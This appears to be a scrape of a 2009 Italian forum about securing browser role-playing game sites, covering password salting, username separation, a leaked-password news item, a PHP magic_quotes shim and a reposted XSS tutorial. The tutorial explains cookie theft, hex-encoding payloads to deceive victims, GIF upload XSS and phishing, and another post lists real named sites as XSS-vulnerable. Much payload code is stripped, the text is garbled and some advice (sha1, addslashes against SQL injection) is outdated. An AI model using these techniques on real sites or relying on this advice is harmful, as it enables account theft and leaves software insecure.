Ipotizzando alcuni approcci al problema:

* Crittazione della password: tralasciando che rientra fra le direttive del progetto legalit�, mi sembra una buona abitudine. Personalmente ho optato per la crittazione con sha1, "irrobustita" dall�uso di un "seme", ossia una parola, o combinazione di lettere e numeri "aggiunta" alla password generata dal sistema o scelta dall�utente.
La parola "seme" pu� essere contenuta in un file di configurazione della land, ovviamente fra i tag di PHP in modo che non sia accessibile tramite richiesta http. Un "irrobustimento" ulteriore pu� essere quello di cambiare periodicamente la parola "seme", anche se questo rende inutilizzabili le password gi� registrate e forza gli utenti a generarne una nuova ogni volta che il seme viene cambiato.

* Robustezza della password: aldil� dei consigli che possiamo dare all�utenza, l�unico "aiuto" concreto che si pu� dare, dato che statisticamente il giocatore non legge un tubo dei consigli che vengono forniti al momento della scelta della password, � quello di implementare controlli che richiedano password complesse e non troppo corte, per renderle meno vulnerabili ad attacchi brute-force, e anche meno facili da indovinare. Ad esempio forzando l�utente a mescolare maiuscole e minuscole, lettere e numeri, e imponendo una lunghezza minima della password. Risulter� una password meno facile da ricordare ma anche meno vulnerabile e meno facile da indovinare.
L�ideale, per facilitare le cose all�utente, sarebbe anche di effettuare il controllo sulla complessit�/lunghezza della password prima dell�invio (validazione lato client) usando anche uno dei tanti script ajax/js disponibili gratuitamente.

* Separazione tra login e nome del personaggio giocante: lo Username rappresenta esattamente la met� di quello che occorre per fare il login, quindi dal punto di vista dell�utente malintenzionato, conoscere lo username dell�utente � possedere gi� la met� di quello che gli serve. E� difficile intervenire sulla maggior parte degli OS in circolazione, dal momento che quasi sempre lo username usato per il login coincide con il nome del personaggio utilizzato in gioco, che � quindi pubblicamente disponibile agli altri utenti.
Laddove possibile, soprattutto se si sta scrivendo un proprio GDR senza fare ricorso ad alcuno di quelli esistenti, l�ideale sarebbe di distinguere nettamente tra lo username di login, e il nome del personaggio da usare in gioco, mantenendo il primo segreto e (sperabilmente) noto solo all�utente e agli amministratori. Questo comporta che la fase di creazione del PG deve avvenire successivamente alla creazione dell�account di login.
Alcuni OS gi� prevedono questa possibilit�, ad esempio richiedendo l�inserimento dell�indirizzo email come username. Tuttavia anche l�email � un dato potenzialmente pubblico. Un ulteriore modo di irrobustire la separazione tra username e personaggio sarebbe quella di impedire la scelta di un nome per il PG coincidente con lo username di login scelto.

* Canali di pubblicazione dello username: supponendo che sia stato distinto il login dal nome del PG, alcuni potrebbero voler implementare una parte esterna al gioco, ad esempio liste degli utenti online con appositi profili (compleanni, contatti esterni, etc), o addirittura sistemi di messaggeria privata esterni al gioco, per lo scambio utente-utente anzich� pg-pg. In tal caso sarebbe buona norma non rendere visibile lo username, e far scegliere invece all�utente registrato un nome, o un nick, visibile agli altri utenti che non coincida n� col nome del PG n� con lo username di login.

Nota: la separazione tra Username e Personaggio pu� risultare utile anche per ragioni che non hanno alcuna relazione con la sicurezza, ad esempio se si volesse consentire a determinate categorie di utenti di muovere pi� di un personaggio (magari in funzione di una quest) senza costringerli a creare pi� account.

Migliaia di password Hotmail, Gmail, Yahoo online]]> di
06/10/2009 9.10.12
[LINK ]

In qualche modo (non si sa come) un utente anonimo ha rilasciato migliaia di password per gli account hotmail in ordine alfabetico da A a B sul sito pastebin.com

La lista � stata velocemente rimossa, ma lo stesso articolo conferma che alcuni account sono genuini e son principalmente presenti in Europa.

Se pensate che il vostro account possa esser finito nella lista, consiglio vivamente di cambiare password e sceglierne una sicura. Questa ricerca di Google [LINK ] dovrebbe contenere molti articoli su come creare password sicure ma anche facili da ricordare, e consiglio a tutti di leggerne alcuni per informarsi.

Chi non dovesse risultare nell�elenco degli account rilasciati non deve comunque considerarsi totalmente al sicuro. E� molto meglio cambiare ugualmente password e prender l�abitudine di farlo ogni tot tempo, in modo da evitare qualunque problema in futuro.

Come sempre, se avete dati importanti o sensibili, conservateli a casa vostra, possibilmente su un hard disk esterno, una chiavetta, o altri supporti di memoria removibili, e chiudeteli a chiave da qualche parte. Affidare i propri dati a servizi web non � mai sicuro, ne che si tratti di un sito poco conosciuto, ne che si tratti di grossi nomi come Google, Microsoft, Facebook e Yahoo.

Constantine - Furto Password]]> di
28/07/2009 14.44.03
buongiorno a tutti, mi scuso se magari non � il posto giusto per scrivere questa cosa pero� oramai ci siamo e lo scrivo :
Cerco chi ha rubato la password del gdr attualmente chiuso per tale problema, il gestore offre una aluta ricompensa,se, chiunque di voi puo� darci una mano si becca una ricompensa anche lui.

Grazie in aticipo

Enzo

e-mail gestore -- > dark_evil@hotmail.it

MODERAZIONE
Cerchiamo di dare ai thread degli oggetti chiari. E� vietato mettere come oggetto "Aiuto"

Protezione]]> di
14/07/2009 22.29.30
Ciao ragazzi! ^_^

Quali sono i passi da seguire, per rendere il sito inhackerabile? O_O

Grazie ^_*

Php Security]]> di
06/07/2009 14.39.40
Un link molto utile trovato in giro.
Enjoy [LINK ]

PHP magic_quotes]]> di

27/04/2009 21.59.47

Non credo di violare il regolamento considerando che il bug/problema che descrivo non � attualmente presente bens� si presenter� in un (neanche troppo prossimo) futuro quando i principali servizi di hosting cominceranno ad aggiornare le loro versioni di PHP alla 6. Nel caso "creda" male fatemi un fischio.

Oggi mentre ero alle prese con dei lavori su un sito mi sono imbattuto in questo annuncio: [LINK ] che annunciava la deprecazione delle magic_quotes a partire da PHP 5.3 (attualmente in stato di RC1, la versione stabile di php attualmente distribuita � la 5.2.9) e la loro successiva rimozione nella versione 6.0.

Ma andiamo con ordine:

Cosa sono le magic quotes di php?
Le magic quotes sono una funzione disponibile su php che provvede a fare l´escape degli apici (cambiandoli da ´ in ´) su tutti i dati provenienti da da form (POST), variabili GET e COOKIE.
Il loro scopo principale � prevenire l´SQL injection provvedendo appunto a fare un escape automatico degli apici.

Per quale motivo le tolgono?
Da quello che ho letto in giro il motivo principale � il fatto che siano eccessivamente invasive costringendo in alcuni casi a fare stripslashes() su stripslashes() per riottenere dei dati puliti da utilizzare per esempio nelle email o nei salvataggi su file anzich� su DB.
Personalmente trovo che rimuoverle non sia proprio il massimo, io mi sono sempre appoggiato alle magic_quotes per essere sicuro al 100% di avere una protezione sicura contro l´SQL injection ... ma tant� ... dopotutto capisco anche coloro che non lavorano principalmente su database e si trovano quindi a dover fare decine di stripslashes() per ottenere i dati puliti.

Cosa comporta la loro rimozione?
Ecco, qui dipende sostanzialmente dal codice in uso, molti CMS/forum dovrebbero prevedere gi� da soli a questo problema, per quanto riguarda i GDR (visto che di questi che ci stiamo preoccupando) i casi possono essere vari a seconda degli accorgimenti presi. Rimane il fatto che molti motori open source si appoggino alle magic_quotes senza fare controlli ulteriori.

Arrivando al punto:
PHP 6 � ancora lontano dall´essere rilasciato ed adottato, quanto al 5.3 probabilmente tutti i principali hosting preferiranno tenere abilitate le magic_quotes anche se deprecate per garantire ai propri utenti il tempo di adeguare i loro codici.
Quindi il problema � per certi versi ancora lontano dal manifestarsi, ma personalmente preferisco sempre mettermi al sicuro fin da subito in vista di problemi futuri.

Una possibile soluzione:
Considerando che molti motori per GDR sono stati scritti assumendo la presenza di magic_quotes la cosa migliore � aggiungere una funzione che faccia lo stesso lavoro di magic_quotes.
Un esempio � questo:

function magic_quotes($array) {
	// se le magic_quotes non sono abilitate
	if(get_magic_quotes_gpc() == ´0´) {
		// per ogni valore
		foreach($array AS $key=>$val) {
			// se � un array chiamo la funzione ricorsivamente, in alternativa eseguo un addslashes
			if(is_array($val)) $array[$key] = magic_quotes($val);
			else $array[$key] = addslashes($val);	
		}
	}
	return $array;
}

$_POST=magic_quotes($_POST);
$_GET=magic_quotes($_GET);

da inserire in un file che venga incluso dappertutto come ad esempio l´include che fa la connessione al database.

Per quanto riguarda i codici che fanno uso di register_globals per attingere direttamente a $var invece di attingere a $_POST[´var´] non saprei, ma a naso direi che questa procedura non funzioni in questo caso (qualcuno pu� confermare?) ... forse sarebbe il caso di cominciare ad abbandonare register_globals visto che nel PHP 6 mi pare sparisca del tutto.

Tsu

Elenco siti famosi vulnerabili XSS]]> di
09/04/2009 12.31.57
Elenco siti famosi vulnerabili ad attacchi XSS in Marzo 2009:

NB: ometto la parte di codice malevole. Elenco solo i siti e l�url che pu�/poteva essere attaccato ma senza specificare come, chi sa capir� da solo.

sito: Ferrero
url: www.ferrero.it
tipo: xss redirect
data: 15-03-2009

sito: Vaticano
url: www.vatican.va
tipo: xss GET url attack
data 15-03-2009

sito: Mediaset
url: servizi.mediaset.it/Servizi/authenticationCheck.jsp
tipo: xss GET url attack
data: 19-03-2009

sito: Senato della Repubblica
url: http://www.senato.it/ricerche/leggi/nuova.ricerca?
tipo: xss GET url attack + Phishing
data: 19-03-2009

XSS - Guida Completa]]> di

06/04/2009 10.49.07

Questa guida viene gentilmente fornita da N3t.Sh4rk. Il documento � completo e corredato oltre che da brevi cenni di storia sull�XSS anche da esempi.

PS: GRAZIE SE SI PU� METTERE IMPORTANTE, ALTRIMENTI AMEN.

INTRODUZIONE
Il Cross Site Scripting, successivamente chiamato XSS per non confondersi con Cascading Style Sheets, � un tipo di vulnerabilit� che affligge le applicazioni web con codice scritto in modo poco sicuro nelle variabili di input. Eseguendo un attacco di tipo XSS � possibile rubare i cookie della vittima, costruire fake login, worm, ridirezionare le pagine web e tanto altro ancora. Per questo motivo il problema non riguarda la compromissione del sito stesso nello specifico quanto ingannare gli utenti ingenui che nel 85% dei casi cascano negli attacchi XSS, compromettendo la loro stessa sicurezza e la loro identit�. Pi� avanti spiegheremo quali sono le infinite possibilit� che ci offre il Cross Site Scripting. Prima di proseguire con la lettura per� si raccomanda una conoscenza basilare di :
-HTML
-PHP , GET() e POST()
-Javascript

Ricordo inoltre che con il nome �Joe� si intende l�attacker.

STORIA
Il nome �Cross Site Scripting� venne usato per la prima volta da Mark Slemko, il pioniere del XSS. Di lui sappiamo che nasce in Canada negli U.S.A. E� attualmente �Platform Technology Director�, sovrintende allo sviluppo del prodotto, l�automazione e l�integrazione delle tecnologie
web e l�infrastruttura IT. Mark ha una vasta esperienza con leadership di alto profilo, con diversi statunitensi e canadesi tra cui aziende di software Radical Entertainment, Morgan Inc.and Avue Media Technologies.

Il nome XSS, per�, oggi come oggi non rispecchia tutti i problemi che questo tipo di vulnerabilit� porta con s�.

Tipi di XSS : DOM Based
Il DOM-Based Cross Site Scripting permette a Joe di lavorare non sul sito personale della vittima ma direttamente all�interno della sua macchina.
Questo avviene perch� molti sistemi operativi includono �dalla nascita� alcune pagine HTML create per scopi diversi tra loro, ma a lungo andare gli utenti di questi O.S. possono commettere degli errori con queste pagine HTML, che diventano vulnerabili e possono essere soggette ad
exploit.

L�attacco:
-Joe crea un sito web con delle pagine contenenti codice malevolo
-L�utente ingenuo apre questo tipo di sito
-L�utente ha una pagina HTML vulnerabile sulla sua macchina
-Questa pagina vulnerabile esegue i comandi imposti dal codice malevolo di joe con i permessi
dell�utente ingenuo.
-Joe pu� ora facilmente controllare il computer della vittima

La difesa:
-Non visitare siti web sconosciuti o con nomi pochi convincenti, come ad es. nomi alfanumerici.
-tenere il proprio sistema aggiornato
-Evitare di accedere alla macchina con i permessi di root / adminsitrator

Tipi di XSS : Non-Persistenti
Le vulnerabilit� XSS Non-Persistenti sono attualmente quelle pi� facili che possiamo trovare nel Web. Sono chiamate cos� perch� lavorano sulla risposta HTTP immediata da parte del sito vittima: quando le pagine web prendono i dati immessi da Joe nelle variabili di input ,generano
automaticamente la pagina contenente il risultato per lo stesso Joe.
Stando a ci�, Joe inserisce diversi tipi di dati o meglio di codici malevoli fino a che il server non esegue come risultato ci� che lui ha messo come input. In genere i motori di ricerca interni ad un sito web soffrono di queste vulnerabilit� XSS. Se questo avviene, allora al 99% saremo in grado di eseguire anche altro codice javascript.

Per esempio se dobbiamo cercare la vulnerabilit� su un sito come:


http://www.example.com/search.php?text=paroladacercare

Proviamo ad includere del codice HTML direttamente nella stringa di cui sopra:


http://www.example.com/search.php?text=

Se il sito web � vulnerabile a Joe comparir� nei risultati di ricerca l�immagine che ha inserito prima.

Ora proviamo ad inserire del codice javascript:

http://www.example.com/search.php?text=

Probabilmente il sito ci restituir� un pop-up con il nostro cookie all�interno del sito che stiamo visitando. Per� un utente ingenuo non potr� mai essere tanto stupido da non accorgersi dello script alla fine perci� ponendo il caso di scrivere codice javascript che effettui redirect al fake login o cookie stealer (pi� avanti vedremo come crearne uno)che Joe ha preparato, Joe deve far apparire l�ultima parte della stringa del sito come qualcosa di normale. Per fare questo ha bisogno di codificarla in HEX, possiamo usare il tool on-line: http://www.paulschou.com/tools/xlate/ (ricordatevi per� % lo dovete inserire voi) :


http://www.example.com/search.php?text=

DIVENTA:


http://www.example.com/search.php?text=3c %73%
63%72%69%70%74%3e%61%6c%65%72%74%28%64 6f%63%75%6d%65%6e% 74%2e%
63%6f%6f%6b%69%65%29%3c%2f%73%72%6%70%74%3e

Difesa:
-La soluzione � accettare solo caratteri alfa-numerici come per esempio:
- Python: cgi.escape($code)
- PHP: eregi(�[^a-zA-Z0-9_]�,$code); $code=htmlentities($code);

E altri simili. In PHP � meglio htmlentities() che htmlspecialchars(), quest�ultimo controllo sul codice infatti se pur con difficolt� pu� essere superato.

Tipi di XSS Persistenti
Le XSS Persistenti sono simili a quelle Non-Persistenti. La loro �diversit�� consiste che Joe non fornisce il suo link modificato per un attacco XSS ad un possibili utente ingenuo, perch� lo stesso sito web vittima consente di inserire dati fissi nel sistema: questo � ad esempio il caso dei guestbook.
I guestbook non fanno alcun tipo di controllo sul codice contenuto all�interno del messaggio inserito: semplicemnteinseriscono i dati forniti dall�utente nella pagina dei risultati. Joe pu� cos� inserire quanto codice vuole, per esempio:


encodeURI(docment.cookie));�>

Con questo codice Joe pu� rubare i cookie dell�utente prendendoli con il cookie grabber costruito in precedenza, che a seconda di come � stato costruito pu� salvare i cookie dell�utente ingenuo o in un file di testo oppure pu� inviarli direttamente per e-mail a Joe. Oltre a questo si potrebbero scrivere tanti altri esempi di codice javascript nel sito vulnerabile. Ma preferisco prendere in considerazione solo questo poich� fa capire come la vulnerabilit� XSS persistente sia la pi� pericolosa perch� pu� facilmente infettare tanti utenti con un attacco unico.
Infatti Joe non prende solo i cookie di un utente ma di tutti coloro che scriveranno sul guestbook.

Difesa:
- La soluzione � accettare solo caratteri alfa-numerici come per esempio:
- Python: cgi.escape($code)
- PHP: eregi(�[^a-zA-Z0-9_]�,$code); $code=htmlentities($code);

E altri simili. In PHP � meglio htmlentities() che htmlspecialchars(), quest�ultimo controllo sul codice infatti se pur con difficolt� pu� essere superato.

Costruire un Cookie Grabber

Sappiate solo che alcune vulnerabilit� XSS provengono anche dai cookies e quindi � opportuno controllare anche quelli.

Costruire una pagina vulnerabile ad XSS
Suppongo che questa si possa anche scrivere visto e considerato che non pu� danneggiare nessuno ma anzi mostra come non deve essere scritta una pagina. Inoltre questi esempi funzionano al 90% solo in locale e non sul server. Questa pagina servir� per esercitarvi.

index.hmtl

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



Simple XSS Vulnerability 


Simple XSS Vulnerability







Search:

uno.php


"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



Search result:


Search result :�?>�

Come fare a �Bypass� htmlspecialchars()
Attualmente non � facile bypassare htmlspecialchars() per� � possibile. evito di scriverlo sappiate per� che per evitare attacchi XSS non � sufficiente utilizzare SOLO htmlspecialchars() nei vostri script PHP.

XSS Upload:
Joe dopo aver trovato il sito vulnerabile a XSS decide anche di provare a fare un upload. Perci� apre il suo programma preferito di fotoritocco crea un immagine vuota che salva come upload_0.gif, poi apre l�immagine appena creata con il suo editor testi ( es: notepad++, kate, gedit e altri)
Cancella tutte le righe che vede ed inserisce la seguente stringa:


GIF89a

salva l�immagine e chiude.
Poi carica upload_0.gif su un servizio di free hosting e�..ecco la XSS
La vulnerabilit� consiste nel fatto che uppando l�immagine viene confrontato il codice di GIF89a come una qualsiasi altra immagine GIF, perci� non vengono controllati in nessuno modo i possibili codici maligni contenuti in questa immagine si viene cosi a creare il Cross Site Scripting.
L�alert per� � visibile bene solo con Internet Explorer, Mozilla Firefox sembra avere qualche problema nel caricamento dello stesso.

Difesa:
Non controllare la variable getimagesize()

XSS Phising:
Non accontentandosi dei risultati ottenuti fino ad ora Joe decide di fare anche un fake �login per intraprendere un azione di phishing ai danni dell�utente ingenuo. Per fare ci� user� lo script

GDR-online.com Forum

Protezione]]> di 14/07/2009 22.29.30 Ciao ragazzi! ^_^Quali sono i passi da seguire, per rendere il sito inhackerabile? O_OGrazie ^_*

Php Security]]> di 06/07/2009 14.39.40 Un link molto utile trovato in giro.Enjoy [LINK ]

Protezione]]> di
14/07/2009 22.29.30
Ciao ragazzi! ^_^

Quali sono i passi da seguire, per rendere il sito inhackerabile? O_O

Grazie ^_*

Php Security]]> di
06/07/2009 14.39.40
Un link molto utile trovato in giro.
Enjoy [LINK ]